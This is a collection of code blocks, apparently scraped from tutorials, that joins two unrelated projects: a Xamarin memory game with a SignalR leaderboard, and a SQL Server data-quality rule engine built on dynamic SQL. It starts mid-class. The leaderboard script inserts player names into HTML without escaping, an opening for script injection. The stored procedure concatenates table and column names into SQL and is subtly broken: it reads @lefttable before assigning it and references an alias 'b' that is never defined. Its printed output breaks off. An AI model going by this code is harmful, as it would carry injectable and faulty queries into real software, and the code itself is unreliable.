        public static int CurrentGameHapticCount
        {
            get { return _hapticCount; }
        }

        public static int CurrentGameLevel
        {
            get { return _level; }
        }

        public Home()
        {
            InitializeComponent();
        }

        protected async override void OnAppearing()
        {
            base.OnAppearing();

            if (string.IsNullOrEmpty(Settings.PlayerFirstName))
                await App._navPage.PushAsync(App._registerPage);
            else
            {

                PlayerManager.UpdateBest(_level);

                if (Result._answered)
                    LevelUp();
                else
                    ResetLevel();

                lblBest.Text = $"Best: Level {PlayerManager.GetBestScore(_level)}";
                lblLevel.Text = $"Level {_level}";
            }
        }

        static void IncrementPlayCount(PlayType play)
        {
            switch (play)
            {
                case PlayType.Blink:
                    {
                        _blinkCount++;
                        break;
                    }
                case PlayType.Sound:
                    {
                        _soundCount++;
                        break;
                    }
                case PlayType.Haptic:
                    {
                        _hapticCount++;
                        break;
                    }
            }
        }

        public static void IncrementGameLevel()
        {
            _level++;
        }

        void ResetLevel()
        {
            _level = 1;
            _cycleStartInMS = CycleIntervalInMS;
            lblTime.Text = string.Empty;
        }

        async void StartRandomPlay()
        {
            await Task.Run(() =&gt;
            {

                Random rnd = new Random(Guid.NewGuid().GetHashCode());
                int choice = rnd.Next(0, PlayTimeCount);

                switch (choice)
                {
                    case (int)PlayType.Blink:
                        {
                            Device.BeginInvokeOnMainThread(async () =&gt;
                            {

                                await imgLightOff.FadeTo(0, 200);
                                imgLightOff2.IsVisible = false;
                                imgLightOff.IsVisible = true;
                                imgLightOff.Source = ImageSource.FromFile("lighton.png");
                                await imgLightOff.FadeTo(1, 200);

                            });
                            IncrementPlayCount(PlayType.Blink);
                            break;
                        }
                    case (int)PlayType.Sound:
                        {
                            DependencyService.Get&lt;ISound&gt;().PlayMp3File("beep.mp3");
                            IncrementPlayCount(PlayType.Sound);
                            break;
                        }
                    case (int)PlayType.Haptic:
                        {
                            DependencyService.Get&lt;IHaptic&gt;().ActivateHaptic();
                            IncrementPlayCount(PlayType.Haptic);
                            break;
                        }
                }
            });
        }

        void ResetGameCount()
        {
            _blinkCount = 0;
            _soundCount = 0;
            _hapticCount = 0;
        }

        void LevelUp()
        {
            _cycleStartInMS = _cycleStartInMS - 200; //minus 200 ms
        }

        void Play()
        {
            int timeLapsed = 0;
            int duration = 0;
            Device.StartTimer(TimeSpan.FromSeconds(1), () =&gt;
            {
                duration++;
                lblTime.Text = $"Timer: { TimeSpan.FromSeconds(duration).ToString("ss")}";

                if (duration &lt; 7)
                    return true;
                else
                    return false;
            });

            Device.StartTimer(TimeSpan.FromMilliseconds(_cycleStartInMS), () =&gt; {
                timeLapsed = timeLapsed + _cycleStartInMS;

                Device.BeginInvokeOnMainThread(async () =&gt;
                {
                    imgLightOff2.IsVisible = true;
                    imgLightOff.IsVisible = false;
                    await Task.Delay(200);

                });

                if (timeLapsed &lt;= _cycleMaxInMS)
                {
                    StartRandomPlay();
                    return true; //continue
                }

                btnStart.Text = "Start";
                btnStart.IsEnabled = true;

                App._navPage.PushAsync(App._resultPage);
                return false; //not continue
            });
        }

        void OnButtonClicked(object sender, EventArgs args)
        {
            btnStart.Text = "Game Started...";
            btnStart.IsEnabled = false;

            ResetGameCount();
            Play();
        }

        async void OnbtnSyncClicked(object sender, EventArgs args)
        {

            if (Utils.IsConnectedToInternet())
            {
                btnSync.Text = "Syncing...";
                btnSync.IsEnabled = false;
                btnStart.IsEnabled = false;

                var response = await PlayerManager.Sync();
                if (!response)
                    await App.Current.MainPage.DisplayAlert("Oops", "An error occured while connecting to the server. Please check your connection.", "OK");
                else
                    await App.Current.MainPage.DisplayAlert("Sync", "Data synced!", "OK");

                btnSync.Text = "Sync";
                btnSync.IsEnabled = true;
                btnStart.IsEnabled = true;
            }
            else
            {
                await App.Current.MainPage.DisplayAlert("Error", "No internet connection.", "OK");
            }
        }
    }
}
</pre>


<pre lang="XML">
&lt;?xml version="1.0" encoding="utf-8" ?&gt;
&lt;ContentPage xmlns="http://xamarin.com/schemas/2014/forms"
             xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml"
             x:Class="MemoryGame.App.Pages.Result"&gt;

  &lt;StackLayout&gt;
    &lt;Label Text="How many times did the light blink, the speaker beep and the device vibrate?"
            HorizontalOptions="Center"
            VerticalOptions="CenterAndExpand" /&gt;

    &lt;StackLayout Orientation="Horizontal" Spacing="3" HorizontalOptions="Center" BackgroundColor="White"&gt;
      &lt;Image x:Name="imgLight" Source="lightoff.png" WidthRequest="100" HeightRequest="40" /&gt;
      &lt;Image x:Name="imgSpeaker" Source="speakeron.png" WidthRequest="100" HeightRequest="40" /&gt;
      &lt;Image x:Name="imgHaptic" Source="vibration.png" WidthRequest="100" HeightRequest="40" /&gt;
    &lt;/StackLayout&gt;

    &lt;StackLayout Orientation="Horizontal" HorizontalOptions="Center" Spacing="5"&gt;
      &lt;Picker x:Name="pickerLight" HorizontalOptions="FillAndExpand" WidthRequest="100"&gt;
        &lt;Picker.Items&gt;
          &lt;x:String&gt;0&lt;/x:String&gt;
          &lt;x:String&gt;1&lt;/x:String&gt;
          &lt;x:String&gt;2&lt;/x:String&gt;
          &lt;x:String&gt;3&lt;/x:String&gt;
          &lt;x:String&gt;4&lt;/x:String&gt;
          &lt;x:String&gt;5&lt;/x:String&gt;
          &lt;x:String&gt;6&lt;/x:String&gt;
          &lt;x:String&gt;7&lt;/x:String&gt;
          &lt;x:String&gt;8&lt;/x:String&gt;
          &lt;x:String&gt;9&lt;/x:String&gt;
          &lt;x:String&gt;10&lt;/x:String&gt;
        &lt;/Picker.Items&gt;
      &lt;/Picker&gt;
      &lt;Picker x:Name="pickerSpeaker" HorizontalOptions="FillAndExpand" WidthRequest="100"&gt;
        &lt;Picker.Items&gt;
          &lt;x:String&gt;0&lt;/x:String&gt;
          &lt;x:String&gt;1&lt;/x:String&gt;
          &lt;x:String&gt;2&lt;/x:String&gt;
          &lt;x:String&gt;3&lt;/x:String&gt;
          &lt;x:String&gt;4&lt;/x:String&gt;
          &lt;x:String&gt;5&lt;/x:String&gt;
          &lt;x:String&gt;6&lt;/x:String&gt;
          &lt;x:String&gt;7&lt;/x:String&gt;
          &lt;x:String&gt;8&lt;/x:String&gt;
          &lt;x:String&gt;9&lt;/x:String&gt;
          &lt;x:String&gt;10&lt;/x:String&gt;
        &lt;/Picker.Items&gt;
      &lt;/Picker&gt;
      &lt;Picker x:Name="pickerHaptic" HorizontalOptions="FillAndExpand" WidthRequest="100"&gt;
        &lt;Picker.Items&gt;
          &lt;x:String&gt;0&lt;/x:String&gt;
          &lt;x:String&gt;1&lt;/x:String&gt;
          &lt;x:String&gt;2&lt;/x:String&gt;
          &lt;x:String&gt;3&lt;/x:String&gt;
          &lt;x:String&gt;4&lt;/x:String&gt;
          &lt;x:String&gt;5&lt;/x:String&gt;
          &lt;x:String&gt;6&lt;/x:String&gt;
          &lt;x:String&gt;7&lt;/x:String&gt;
          &lt;x:String&gt;8&lt;/x:String&gt;
          &lt;x:String&gt;9&lt;/x:String&gt;
          &lt;x:String&gt;10&lt;/x:String&gt;
        &lt;/Picker.Items&gt;
      &lt;/Picker&gt;
    &lt;/StackLayout&gt;
    &lt;Label x:Name="lblText" FontSize="20"
          HorizontalOptions="Center"
          VerticalOptions="CenterAndExpand" /&gt;
    &lt;StackLayout Orientation="Horizontal" HorizontalOptions="Center" Spacing="40"&gt;
      &lt;Label x:Name="lblBlinkCount"
          HorizontalOptions="Center"
          VerticalOptions="CenterAndExpand" /&gt;
      &lt;Label x:Name="lblBeepCount"
          HorizontalOptions="Center"
          VerticalOptions="CenterAndExpand" /&gt;
      &lt;Label x:Name="lblHapticCount"
          HorizontalOptions="Center"
          VerticalOptions="CenterAndExpand" /&gt;
    &lt;/StackLayout&gt;
    &lt;Button x:Name="btnSubmit"
            Text="Submit"
            HorizontalOptions="Center"
            VerticalOptions="CenterAndExpand"
            Clicked="OnButtonClicked"/&gt;
    &lt;Button x:Name="btnRetry"
           Text="Retry"
           IsVisible="False"
           HorizontalOptions="Center"
           VerticalOptions="CenterAndExpand"
           Clicked="OnRetryButtonClicked"/&gt;
  &lt;/StackLayout&gt;

&lt;/ContentPage&gt;
</pre>


<pre lang="C#">
using System;
using Xamarin.Forms;
using MemoryGame.App.Classes;

namespace MemoryGame.App.Pages
{
    public partial class Result : ContentPage
    {
        public static bool _answered = false;
        public Result()
        {
            InitializeComponent();
            ClearResult();

        }

        protected override void OnAppearing()
        {
            base.OnAppearing();
            ClearResult();
            NavigationPage.SetHasBackButton(this, false);
        }
        void ClearResult()
        {
            lblText.Text = string.Empty;
            lblBlinkCount.Text = string.Empty;
            lblBeepCount.Text = string.Empty;
            lblHapticCount.Text = string.Empty;
            pickerLight.SelectedIndex = 0;
            pickerSpeaker.SelectedIndex = 0;
            pickerHaptic.SelectedIndex = 0;
            btnSubmit.IsVisible = true;
            btnRetry.IsVisible = false;
            _answered = false;
        }

        bool CheckAnswer(int actualAnswer, int selectedAnswer)
        {
            if (selectedAnswer == actualAnswer)
                return true;
            else
                return false;
        }

        void Retry()
        {
            btnSubmit.IsVisible = false;
            btnRetry.IsVisible = true;
        }
        async void OnButtonClicked(object sender, EventArgs args)
        {
            if (pickerLight.SelectedIndex &gt;= 0 &amp;&amp; pickerSpeaker.SelectedIndex &gt;= 0 &amp;&amp; pickerHaptic.SelectedIndex &gt;= 0)
            {
                lblText.Text = "The actual answers are:";
                lblBlinkCount.Text = Home.CurrentGameBlinkCount.ToString();
                lblBeepCount.Text = Home.CurrentGameSoundCount.ToString();
                lblHapticCount.Text = Home.CurrentGameHapticCount.ToString();

                if (CheckAnswer(Home.CurrentGameBlinkCount, Convert.ToInt32(pickerLight.Items[pickerLight.SelectedIndex])))
                    if (CheckAnswer(Home.CurrentGameSoundCount, Convert.ToInt32(pickerSpeaker.Items[pickerSpeaker.SelectedIndex])))
                        if (CheckAnswer(Home.CurrentGameHapticCount, Convert.ToInt32(pickerHaptic.Items[pickerHaptic.SelectedIndex])))
                        {
                            _answered = true;
                            Home.IncrementGameLevel();

                            var isSynced = PlayerManager.CheckScoreAndSync(Home.CurrentGameLevel);

                            var answer = await App.Current.MainPage.DisplayAlert("Congrats!", $"You've got it all right and made it to level {Home.CurrentGameLevel}. Continue?", "Yes", "No");

                            if (answer)
                                await App._navPage.PopAsync();
                            else
                                Retry();
                        }

                if (!_answered)
                {
                    var isSynced = PlayerManager.CheckScoreAndSync(Home.CurrentGameLevel);

                    var answer = await App.Current.MainPage.DisplayAlert("Game Over!", $"Your current best is at level {Home.CurrentGameLevel}. Retry?", "Yes", "No");
                    if (answer)
                        await App._navPage.PopAsync();
                    else
                        Retry();
                }
            }
        }

        void OnRetryButtonClicked(object sender, EventArgs args)
        {
            App._navPage.PopAsync();
        }
    }
}
</pre>


<pre lang="C#">
using Android.Content;
using Android.OS;
using Xamarin.Forms;
using MemoryGame.App.Droid.Services;
using MemoryGame.App.Services;

[assembly: Dependency(typeof(HapticService))]
namespace MemoryGame.App.Droid.Services
{
    public class HapticService : IHaptic
    {
        public HapticService() { }
        public void ActivateHaptic()
        {
            Vibrator vibrator = (Vibrator)global::Android.App.Application.Context.GetSystemService(Context.VibratorService);
            vibrator.Vibrate(100);
        }
    }
}
</pre>


<pre lang="C#">
using Xamarin.Forms;
using Android.Media;
using MemoryGame.App.Droid.Services;
using MemoryGame.App.Services;

[assembly: Dependency(typeof(SoundService))]

namespace MemoryGame.App.Droid.Services
{
    public class SoundService : ISound
    {
        public SoundService() { }

        private MediaPlayer _mediaPlayer;

        public bool PlayMp3File(string fileName)
        {
            _mediaPlayer = new MediaPlayer();
            var fd = global::Android.App.Application.Context.Assets.OpenFd(fileName);
            _mediaPlayer.Prepared += (s, e) =&gt;
            {
                _mediaPlayer.Start();
            };
            _mediaPlayer.SetDataSource(fd.FileDescriptor, fd.StartOffset, fd.Length);
            _mediaPlayer.Prepare();
            return true;
        }

        public bool PlayWavFile(string fileName)
        {
            //TO DO: Own implementation here
            return true;
        }
    }
}
</pre>


<pre lang="C#">
using Xamarin.Forms;
using AudioToolbox;
using MemoryGame.App.iOS.Services;
using MemoryGame.App.Services;

[assembly: Dependency(typeof(HapticService))]
namespace MemoryGame.App.iOS.Services
{
    public class HapticService : IHaptic
    {
        public HapticService() { }
        public void ActivateHaptic()
        {
            SystemSound.Vibrate.PlaySystemSound();
        }
    }
}
</pre>


<pre lang="C#">
using Xamarin.Forms;
using MemoryGame.App.iOS.Services;
using System.IO;
using Foundation;
using AVFoundation;
using MemoryGame.App.Services;

[assembly: Dependency(typeof(SoundService))]

namespace MemoryGame.App.iOS.Services
{
    public class SoundService : NSObject, ISound, IAVAudioPlayerDelegate
    {
        #region IDisposable implementation

        public void Dispose()
        {

        }

        #endregion

        public SoundService()
        {
        }

        public bool PlayWavFile(string fileName)
        {
            return true;
        }

        public bool PlayMp3File(string fileName)
        {

            var played = false;

            NSError error = null;
            AVAudioSession.SharedInstance().SetCategory(AVAudioSession.CategoryPlayback, out error);

            string sFilePath = NSBundle.MainBundle.PathForResource(Path.GetFileNameWithoutExtension(fileName), "mp3");
            var url = NSUrl.FromString(sFilePath);
            var _player = AVAudioPlayer.FromUrl(url);
            _player.Delegate = this;
            _player.Volume = 100f;
            played = _player.PrepareToPlay();
            _player.FinishedPlaying += (object sender, AVStatusEventArgs e) =&gt; {
                _player = null;
            };
            played = _player.Play();

            return played;
        }
    }

}
</pre>


<pre lang="XML">
&lt;uses-permission android:name="android.permission.VIBRATE" /&gt;
&lt;uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /&gt;
&lt;uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /&gt;
&lt;uses-permission android:name="android.permission.INTERNET" /&gt;
</pre>


<pre lang="C#">
using Microsoft.Owin;
using Owin;

[assembly: OwinStartup(typeof(MemoryGame.Web.Startup))]
namespace MemoryGame.Web
{
    public class Startup
    {
        public void Configuration(IAppBuilder app)
        {
            app.MapSignalR();
        }
    }
}
</pre>


<pre lang="C#">
using Microsoft.AspNet.SignalR;

namespace MemoryGame.Web
{
    public class LeaderboardHub : Hub
    {
        public static void Show()
        {
            IHubContext context = GlobalHost.ConnectionManager.GetHubContext&lt;LeaderboardHub&gt;();
            context.Clients.All.displayLeaderBoard();
        }
    }
}
</pre>


<pre lang="C#">
using System.Web.Mvc;

namespace MemoryGame.Web.Controllers
{
    public class HomeController : Controller
    {
        public ActionResult Index()
        {
            return View();
        }
    }
}
</pre>


<pre lang="ASP.NET">
&lt;div id="body"&gt;
    &lt;section class="featured"&gt;
        &lt;div class="content-wrapper"&gt;
            &lt;hgroup class="title"&gt;
                &lt;h1&gt;Leader Board&lt;/h1&gt;
            &lt;/hgroup&gt;
        &lt;/div&gt;
    &lt;/section&gt;
    &lt;section class="content-wrapper main-content clear-fix"&gt;
        &lt;h1&gt;
            &lt;span&gt;
                Top Challengers
                &lt;img src="Images/goals_256.png" style="width:40px; height:60px;" /&gt;
            &lt;/span&gt;
        &lt;/h1&gt;
        &lt;table id="tblRank" class="table table-striped table-condensed table-hover"&gt;
        &lt;/table&gt;
    &lt;/section&gt;
&lt;/div&gt;

@section scripts{
    @Scripts.Render("~/Scripts/jquery.signalR-2.2.2.min.js")
    @Scripts.Render("~/signalr/hubs")

    &lt;script type="text/javascript"&gt;
        $(function () {
            var rank = $.connection.leaderboardHub;
            rank.client.displayLeaderBoard = function () {
                LoadResult();
            };

            $.connection.hub.start();
            LoadResult();
        });

        function LoadResult() {
            var $tbl = $("#tblRank");
            $.ajax({
                url: 'http://localhost:61309/api/game/get',
                type: 'GET',
                datatype: 'json',
                success: function (data) {
                    if (data.length &gt; 0) {
                        $tbl.empty();
                        $tbl.append('&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Rank&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Best&lt;/th&gt;&lt;th&gt;Achieved&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;');
                        var rows = [];
                        for (var i = 0; i &lt; data.length; i++) {
                            rows.push('&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;' + (i +1).toString() + '&lt;/td&gt;&lt;td&gt;' + data[i].FirstName + '&lt;/td&gt;&lt;td&gt;' + data[i].LastName + '&lt;/td&gt;&lt;td&gt;' + data[i].Best + '&lt;/td&gt;&lt;td&gt;' + data[i].DateAchieved + '&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;');
                        }
                        $tbl.append(rows.join(''));
                    }
                }
            });
        }
    &lt;/script&gt;
}
</pre>


<pre lang="SQL">
CREATE TABLE [dbo].[tbl_Outcome](
    [id_Rule_Parameter_Set_Fk] [int] NOT NULL,
    [id_Fact_Table] [int] NOT NULL,
    [fact_Surrogate_Key] [int] NOT NULL,
 CONSTRAINT [PK_tbl_Outcome] PRIMARY KEY CLUSTERED
(
    [id_Rule_Parameter_Set_Fk] ASC,
    [id_Fact_Table] ASC,
    [fact_Surrogate_Key] ASC
)

CREATE TABLE [dbo].[tbl_Parameter](
    [id_Parameter_Set_Fk] [int] NOT NULL,
    [parameter_Name] [nvarchar](50) NOT NULL,
    [parameter_Value] [nvarchar](50) NOT NULL,
    [parameter_Type] [nvarchar](5) NOT NULL,
 CONSTRAINT [PK_tbl_Parameter_Set] PRIMARY KEY CLUSTERED
(
    [id_Parameter_Set_Fk] ASC,
    [parameter_Name] ASC
)

CREATE TABLE [dbo].[tbl_Parameter_Set](
    [id_Parameter_Set] [int] IDENTITY(1,1) NOT NULL,
    [parameter_Set_Name] [nvarchar](50) NOT NULL,
 CONSTRAINT [PK_tbl_Parameter_Set_1] PRIMARY KEY CLUSTERED
(
    [id_Parameter_Set] ASC
)

CREATE TABLE [dbo].[tbl_Rule](
    [id_Rule] [int] IDENTITY(1,1) NOT NULL,
    [rule_Name] [nvarchar](100) NOT NULL,
    [rule_Type] [nvarchar](30) NOT NULL,
    [rule_Description] [nvarchar](max) NULL,
    [flag_execute] [nvarchar](1) NULL,
 CONSTRAINT [PK_tbl_Rule] PRIMARY KEY CLUSTERED
(
    [id_Rule] ASC
)

CREATE TABLE [dbo].[tbl_Rule_Parameter_Set](
    [id_Rule_Parameter_Set] [int] IDENTITY(1,1) NOT NULL,
    [id_Rule_Fk] [int] NOT NULL,
    [id_Parameter_Set_Fk] [int] NOT NULL,
 CONSTRAINT [PK_tbl_Rule_Parameter_Set] PRIMARY KEY CLUSTERED
(
    [id_Rule_Parameter_Set] ASC
)</pre>


<pre lang="SQL">
ALTER TABLE [dbo].[tbl_Outcome]  WITH CHECK ADD  CONSTRAINT _
[FK_tbl_Outcome_tbl_Rule_Parameter_Set] FOREIGN KEY([id_Rule_Parameter_Set_Fk])
REFERENCES [dbo].[tbl_Rule_Parameter_Set] ([id_Rule_Parameter_Set])
ON UPDATE CASCADE
ON DELETE CASCADE
GO
ALTER TABLE [dbo].[tbl_Outcome] CHECK CONSTRAINT [FK_tbl_Outcome_tbl_Rule_Parameter_Set]
GO
ALTER TABLE [dbo].[tbl_Parameter]  WITH CHECK ADD  CONSTRAINT _
[FK_tbl_Parameter_tbl_Parameter_Set] FOREIGN KEY([id_Parameter_Set_Fk])
REFERENCES [dbo].[tbl_Parameter_Set] ([id_Parameter_Set])
ON UPDATE CASCADE
ON DELETE CASCADE
GO
ALTER TABLE [dbo].[tbl_Parameter] CHECK CONSTRAINT [FK_tbl_Parameter_tbl_Parameter_Set]
GO
ALTER TABLE [dbo].[tbl_Rule_Parameter_Set]  WITH CHECK ADD CONSTRAINT _
[FK_tbl_Rule_Parameter_Set_tbl_Parameter_Set] FOREIGN KEY([id_Parameter_Set_Fk])
REFERENCES [dbo].[tbl_Parameter_Set] ([id_Parameter_Set])
ON UPDATE CASCADE
ON DELETE CASCADE
GO
ALTER TABLE [dbo].[tbl_Rule_Parameter_Set] CHECK CONSTRAINT _
[FK_tbl_Rule_Parameter_Set_tbl_Parameter_Set]
GO
ALTER TABLE [dbo].[tbl_Rule_Parameter_Set]  WITH CHECK ADD  CONSTRAINT _
[FK_tbl_Rule_Parameter_Set_tbl_Rule] FOREIGN KEY([id_Rule_Fk])
REFERENCES [dbo].[tbl_Rule] ([id_Rule])
ON UPDATE CASCADE
ON DELETE CASCADE
GO
ALTER TABLE [dbo].[tbl_Rule_Parameter_Set] CHECK CONSTRAINT [FK_tbl_Rule_Parameter_Set_tbl_Rule]
GO</pre>


<pre lang="SQL">
SET IDENTITY_INSERT [dbo].[tbl_Rule] ON
GO
INSERT [dbo].[tbl_Rule] ([id_Rule], [rule_Name], [rule_Type], [rule_Description], _
[flag_execute]) VALUES (1, N'Foreign Key Validation', N'ForeignKey', N'Validates Missing FKs', N'T')
GO
INSERT [dbo].[tbl_Rule] ([id_Rule], [rule_Name], [rule_Type], [rule_Description], _
[flag_execute]) VALUES (4, N'Field Type Validation', N'IsNumber', N'Validates Field Type', N'T')
GO
SET IDENTITY_INSERT [dbo].[tbl_Rule] OFF

SET IDENTITY_INSERT [dbo].[tbl_Parameter_Set] ON
GO
INSERT [dbo].[tbl_Parameter_Set] ([id_Parameter_Set], [parameter_Set_Name]) _
VALUES (1, N'Foreign_Key_Validation_Column_A')
GO
INSERT [dbo].[tbl_Parameter_Set] ([id_Parameter_Set], [parameter_Set_Name]) _
VALUES (2, N'Foreign_Key_Validation_Column_B')
GO
INSERT [dbo].[tbl_Parameter_Set] ([id_Parameter_Set], [parameter_Set_Name]) _
VALUES (3, N'Is Number Validation Column Wage')
GO
INSERT [dbo].[tbl_Parameter_Set] ([id_Parameter_Set], [parameter_Set_Name]) _
VALUES (4, N'Is Number Validation Column Age')
GO
SET IDENTITY_INSERT [dbo].[tbl_Parameter_Set] OFF

SET IDENTITY_INSERT [dbo].[tbl_Rule_Parameter_Set] ON
GO
INSERT [dbo].[tbl_Rule_Parameter_Set] ([id_Rule_Parameter_Set], [id_Rule_Fk], _
[id_Parameter_Set_Fk]) VALUES (1, 1, 1)
GO
INSERT [dbo].[tbl_Rule_Parameter_Set] ([id_Rule_Parameter_Set], [id_Rule_Fk], _
[id_Parameter_Set_Fk]) VALUES (2, 1, 2)
GO
INSERT [dbo].[tbl_Rule_Parameter_Set] ([id_Rule_Parameter_Set], [id_Rule_Fk], _
[id_Parameter_Set_Fk]) VALUES (5, 4, 3)
GO
INSERT [dbo].[tbl_Rule_Parameter_Set] ([id_Rule_Parameter_Set], [id_Rule_Fk], _
[id_Parameter_Set_Fk]) VALUES (6, 4, 4)
GO
SET IDENTITY_INSERT [dbo].[tbl_Rule_Parameter_Set] OFF

SET IDENTITY_INSERT [dbo].[tbl_Parameter_Set] OFF
GO
INSERT [dbo].[tbl_Parameter] ([id_Parameter_Set_Fk], [parameter_Name], _
[parameter_Value], [parameter_Type]) VALUES (1, N'LeftColumn', N'Column_A_Fk', N'C')
GO
INSERT [dbo].[tbl_Parameter] ([id_Parameter_Set_Fk], [parameter_Name], _
[parameter_Value], [parameter_Type]) VALUES (1, N'LeftTable', N'fac_Table_A', N'C')
GO
INSERT [dbo].[tbl_Parameter] ([id_Parameter_Set_Fk], [parameter_Name], _
[parameter_Value], [parameter_Type]) VALUES (1, N'RightColumn', N'Column_A_sk', N'C')
GO
INSERT [dbo].[tbl_Parameter] ([id_Parameter_Set_Fk], [parameter_Name], _
[parameter_Value], [parameter_Type]) VALUES (1, N'RightTable', N'dim_Table_A', N'C')
GO
INSERT [dbo].[tbl_Parameter] ([id_Parameter_Set_Fk], [parameter_Name], _
[parameter_Value], [parameter_Type]) VALUES (2, N'LeftColumn', N'Wage_Range_Fk', N'C')
GO
INSERT [dbo].[tbl_Parameter] ([id_Parameter_Set_Fk], [parameter_Name], _
[parameter_Value], [parameter_Type]) VALUES (2, N'LeftTable', N'fac_Table_A', N'C')
GO
INSERT [dbo].[tbl_Parameter] ([id_Parameter_Set_Fk], [parameter_Name], _
[parameter_Value], [parameter_Type]) VALUES (2, N'RightColumn', N'Wage_Range_Fk', N'C')
GO
INSERT [dbo].[tbl_Parameter] ([id_Parameter_Set_Fk], [parameter_Name], _
[parameter_Value], [parameter_Type]) VALUES (2, N'RightTable', N'dim_Wage_Range', N'C')
GO
INSERT [dbo].[tbl_Parameter] ([id_Parameter_Set_Fk], [parameter_Name], _
[parameter_Value], [parameter_Type]) VALUES (3, N'ColumnName', N'valSalesMonth', N'N')
GO
INSERT [dbo].[tbl_Parameter] ([id_Parameter_Set_Fk], [parameter_Name], _
[parameter_Value], [parameter_Type]) VALUES (3, N'TableName', N'fac_Sales', N'C')
GO
INSERT [dbo].[tbl_Parameter] ([id_Parameter_Set_Fk], [parameter_Name], _
[parameter_Value], [parameter_Type]) VALUES (4, N'ColumnName', N'valAge', N'N')
GO
INSERT [dbo].[tbl_Parameter] ([id_Parameter_Set_Fk], [parameter_Name], _
[parameter_Value], [parameter_Type]) VALUES (4, N'TableName', N'fac_Sales', N'C')
GO</pre>


<pre lang="SQL">
create proc [dbo].[sp_rule_execution] as
    declare @id_rule int, @rule_name nvarchar(100), @rule_type nvarchar(30), _
    @id_Parameter_Set_Fk int, @id_Rule_Parameter_Set int

    declare @dmlSql nvarchar(max)
    declare @id_Fact_Table int

    declare c_test_rules cursor local forward_only static read_only
    for
    select a.id_rule,
           a.rule_name,
           a.rule_type,
           b.id_Parameter_Set_Fk,
           b.id_Rule_Parameter_Set
    from dbo.tbl_rule a
    inner join dbo.tbl_Rule_Parameter_Set b
    on a.id_Rule = b.id_Rule_Fk
    where flag_execute = 'T'

    open c_test_rules

    fetch next
    from c_test_rules
    into  @id_rule,
          @rule_name,
          @rule_type,
          @id_Parameter_Set_Fk,
          @id_Rule_Parameter_Set

    while @@fetch_status = 0 --when fetch is successful
        begin
            /**********************************************************************************
            for this specific rule type a specific set of parameters is required
            this rule will run an outer join query checking for a specific foreign key
            if some value does not match any lookup dimension table
            understand it is possible foreign key constraints may be disabled during the
            load process or even not exist in physical model only in logical one
            ***********************************************************************************/
            if @rule_type = 'ForeignKey'
                begin
                    declare @lefttable nvarchar(50), @righttable nvarchar(50), _
                            @leftcolumn nvarchar(50), @rightcolumn nvarchar(50)

                    select @id_Fact_Table = isnull(object_id(@lefttable), -1)

                    select @lefttable = o.parameter_Value
                    from dbo.tbl_Parameter o
                    where o.id_Parameter_Set_Fk = @id_Parameter_Set_Fk and
                          o.parameter_Name = 'lefttable'

                    select @righttable = o.parameter_Value
                    from dbo.tbl_Parameter o
                    where o.id_Parameter_Set_Fk = @id_Parameter_Set_Fk and
                          o.parameter_Name = 'righttable'

                    select @leftcolumn = o.parameter_Value
                    from dbo.tbl_Parameter o
                    where o.id_Parameter_Set_Fk = @id_Parameter_Set_Fk and
                          o.parameter_Name = 'leftcolumn'

                    select @rightcolumn = o.parameter_Value
                    from dbo.tbl_Parameter o
                    where o.id_Parameter_Set_Fk = @id_Parameter_Set_Fk and
                          o.parameter_Name = 'rightcolumn'

                    set @dmlSql = '/* Rule Id ' + cast(@id_rule as nvarchar(5)) + ' / Parameter Set ' _
                            + cast(@id_Rule_Parameter_Set as nvarchar(5)) + ' */' + char(13) +
                                  'insert into dbo.tbl_Outcome ' + char(13) +
                                  'select ' + cast(@id_Rule_Parameter_Set as nvarchar(20)) + _
                                    ' as id_Rule_Parameter_Set_Fk, ' + _
                                    cast(@id_Fact_Table as nvarchar(5)) + ' as id_Fact_Table, _
                                    a.Surrogate_Key '  + char(13) +
                                  'from ' + @lefttable + ' a '  + char(13) +
                                  'left outer join ' + @righttable + ' b ' + char(13) +
                                  'on a.' + @leftcolumn + ' = b.' + @rightcolumn + ' ' + char(13) +
                                  'where b.' + @rightcolumn + ' is null'

                    print @dmlSql
                    print char(13)

                end
            /**********************************************************************************
            for this specific rule only a source table and column name are required
            ***********************************************************************************/
            else if @rule_type = 'IsNumber'
                begin
                    declare @TableName nvarchar(50), @ColumnName nvarchar(50)

                    select @id_Fact_Table = isnull(object_id(@lefttable), -1)

                    select @TableName = o.parameter_Value
                    from dbo.tbl_Parameter o
                    where o.id_Parameter_Set_Fk = @id_Parameter_Set_Fk and
                          o.parameter_Name = 'TableName'

                    select @ColumnName = o.parameter_Value
                    from dbo.tbl_Parameter o
                    where o.id_Parameter_Set_Fk = @id_Parameter_Set_Fk and
                          o.parameter_Name = 'ColumnName'

                    set @dmlSql = '/* Rule Id ' + cast(@id_rule as nvarchar(5)) + _
                           ' / Parameter Set ' + cast(@id_Rule_Parameter_Set as nvarchar(5)) + _
                           ' */' + char(13) +
                                  'insert into dbo.tbl_Outcome ' + char(13) +
                                  'select ' + cast(@id_Rule_Parameter_Set as nvarchar(20)) + _
                                     ' as id_Rule_Parameter_Set_Fk, ' + _
                                     cast(@id_Fact_Table as nvarchar(5)) + ' as id_Fact_Table, _
                                     a.Surrogate_Key '  + char(13) +
                                  'from ' + @TableName + ' a '  + char(13) +
                                  'where isnumeric(b.' + @ColumnName + ') = 0'

                    print @dmlSql
                    print char(13)
                end

            fetch next
            from c_test_rules
            into  @id_rule,
                  @rule_name,
                  @rule_type,
                  @id_Parameter_Set_Fk,
                  @id_Rule_Parameter_Set
        End</pre>


<pre lang="SQL">
/* Rule Id 1 / Parameter Set 1 */
insert into dbo.tbl_Outcome
select 1 as id_Rule_Parameter_Set_Fk, -1 as id_Fact_Table, a.Surrogate_Key
from fac_Table_A a
left outer join dim_Table_A b
on a.Column_A_Fk = b.Column_A_sk
where b.Column_A_sk is null

/* Rule Id 1 / Parameter Set 2 */
insert into dbo.tbl_Outcome
select 2 as id_Rule_Parameter_Set_Fk, -1 as id_Fact_Table, a.Surrogate_Key
from fac_Table_A a
left outer join dim_Wage_Range b
on a.Wage_Range_Fk = b.Wage_Range_Fk
where b.Wage_Range_Fk is null

/* Rule Id 4 / Parameter Set 5 */
